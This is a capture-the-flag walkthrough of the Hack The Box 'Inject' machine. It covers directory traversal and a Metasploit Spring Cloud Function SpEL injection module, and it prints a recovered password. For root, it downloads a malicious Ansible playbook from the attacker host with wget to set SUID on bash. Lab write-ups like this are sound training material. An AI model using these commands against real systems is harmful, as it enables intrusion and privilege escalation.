Hackthebox - Inject
Linux

Nmap
Port 8080
We end up here

Gobuster finds these
In the blogs page we have a user admin and a user Brandon Auger
The upload page looks like this

If we upload an image we can see it and we are on a page /show_image that has an ?img= parameter that seems injectable.
We have a directory traversal

From our finding we can see that we have a user phil and a user frank.
Let's see what we can get from these users
Frank has some files

The user flag is on Phil but it is protected

If we go back to frank this .m2 folder is interesting and indeed we find a password in the settings.xml

Here are the creds
phil:DocPhillovestoInject123
However if we can not find the key and can not connect with ssh. If we check the ssh config we see this
DenyUsers philWe can try to enumerate further the webapp. Here is the pom.xml file that might be worth a look
Get a shell
If we google the items from the pom.xl we can see that it seems to be vulnerable to spring4shell, after a try of a few different exploit the one that workd was this one on Metasploit multi/http/spring_cloud_function_spel_injection
set RHOSTS 10.10.11.204set LHOST tun0Then we just need to
runAnd we get a shell as frank

Move to Phil
We can use the password we found previously to move to phil
su philit works

Now we can get the user flag
Let's also run
python3 -c 'import pty;pty.spawn("/bin/bash")'andexport TERM=screento have a better shell
Privilege escalation
suid are not really interesting here
however phil belongs to the group staff that gives permission without having to be root.
find / -user staff -print 2>/dev/null
/home/phil/.bash_history -rw-r--r-- 1 root root 832 Feb 2 2020 /usr/share/bash-completion/completions/bind /usr/lib/python3/dist-packages/ansible_collections/community/windows/tests/integration/targets/win_xml/files/config.xml /usr/lib/python3/dist-packages/ansible_collections/junipernetworks/junos/tests/integration/targets/junos_config/templates/basic/config.xml -rw-r--r-- 1 root root 2928 Mar 22 2020 /usr/share/bleachbit/cleaners/filezilla.xml /usr/share/openssh/sshd_config usr/lib/python3/dist-packages/ansible_collections/community/postgresql/tests/integration/targets/setup_postgresql_db/files/pg_hba.conf Sudo version 1.8.31 /usr/share/openssh/sshd_config
We get creds here
cat /usr/lib/python3/dist-packages/ansible_collections/cisco/dnac/playbooks/credentials.yml
I decided to run pspy and found these lines
We have write rights on the task folder.
Looking up ansible we can see this interesting article that can allow us to escalate.
We create this yaml file in our kali machine
This will put the suid bit on bash and we will then be able to exploit this with this
From our target we go to the tasks folder
cd /opt/automation/tasksWe launch a python3 server from our attack machine
This way we can get the file in our target
wget http://10.10.14.5/playbook_1.ymlThe file has to be named
playbook_1.ymlWe can rename the initial file
playbook_1.yml.oldand get the new one after.After a little while if we run
/bin/bash -pwe should be rootWe can grab the final flag

Last updated